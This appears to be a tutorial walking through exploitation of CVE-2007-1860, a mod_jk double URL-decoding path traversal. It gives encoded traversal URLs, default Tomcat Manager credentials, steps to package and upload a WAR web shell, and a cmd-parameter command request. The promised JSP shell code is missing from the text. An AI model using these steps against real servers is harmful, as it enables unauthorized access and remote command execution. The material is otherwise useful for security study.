CVE-2007-1860: mod_jk Double Decoding Vulnerability

CVE-2007-1860 is a critical vulnerability in the Apache mod_jk module that enables double URL decoding, allowing attackers to bypass path restrictions and access restricted areas such as the Tomcat Manager interface. This occurs when both Apache (via mod_jk) and Tomcat independently decode URL-encoded characters, leading to path traversal attacks.

Background: Why This Happens

On Unix/Linux systems, only processes running as root can bind to privileged ports like 80 or 443. Since running Tomcat as root is a severe security risk (unlike Apache, which drops privileges), administrators typically run Tomcat on a high port (e.g., 8080) and use Apache with mod_jk to proxy requests from port 80.

Two common methods are used to forward requests:

HTTP Proxy: Requests forwarded via HTTP.
AJP13 (mod_jk): Binary protocol used for efficient communication - the focus of this exploit.

Understanding which component handles a request (Apache or Tomcat) is crucial. You can determine this by analyzing 404 error pages:

A standard Apache 404 -> handled by Apache.
A Tomcat-style 404 (e.g., from /examples/jsp/test404) -> request was passed to Tomcat.

The Vulnerability: Double Decoding

Both Apache (mod_jk) and Tomcat decode URL-encoded paths independently. An attacker can exploit this by using double-encoded values that decode to dangerous sequences like .. (parent directory traversal).

Example of double encoding:

. -> %2e -> %252e (double-encoded)
.. -> %2e%2e -> %252e%252e

By crafting a URL like this:

http://vulnerable/examples/jsp/%252e%252e/%252e%252e/manager/html

Apache decodes it once to %2e%2e, then Tomcat decodes it again to .., effectively traversing up the directory tree and accessing the Tomcat Manager interface.

Accessing Tomcat Manager

The Tomcat Manager (/manager/html) is used to deploy and manage web applications. It is usually password-protected, but default credentials are widely known.

Common default credentials:

admin:admin
tomcat:tomcat
manager:manager

A comprehensive list can be found in:
Default-Credentials

Creating a Web Shell

Once access is gained, an attacker can upload a malicious WAR file to execute arbitrary commands. Below is a simple JSP-based web shell:

Save this as index.jsp.

Packaging into a WAR File:

$ mkdir webshell
$ cp index.jsp webshell/
$ cd webshell
$ jar -cvf ../webshell.war *
$ cd ..
$ ls
# Output: webshell.war

Uploading the Web Shell

Use the Tomcat Manager interface to upload webshell.war. Intercept the upload request using a proxy (e.g., Burp Suite) and modify the URL to bypass access controls:

POST /examples/jsp/%252e%252e/%252e%252e/manager/html/upload?org.apache.catalina.filters.CSRF_NONCE=A575CA0DDD835EA19E3D401653D63B3B

Ensure the request includes:

Authorization header with Base64-encoded credentials:
Authorization: Basic dG9tY2F0OnRvbWNhdA==
Cookie matching the CSRF token:
Cookie: JSESSIONID=ABC123; ...

Accessing the Web Shell

After successful deployment, access the shell using double encoding to avoid detection:

http://vulnerable/examples/%252e%252e/webshell/

This decodes to /webshell/ after two decoding passes, allowing you to run system commands via the cmd parameter:

http://vulnerable/examples/%252e%252e/webshell/?cmd=id

On This Page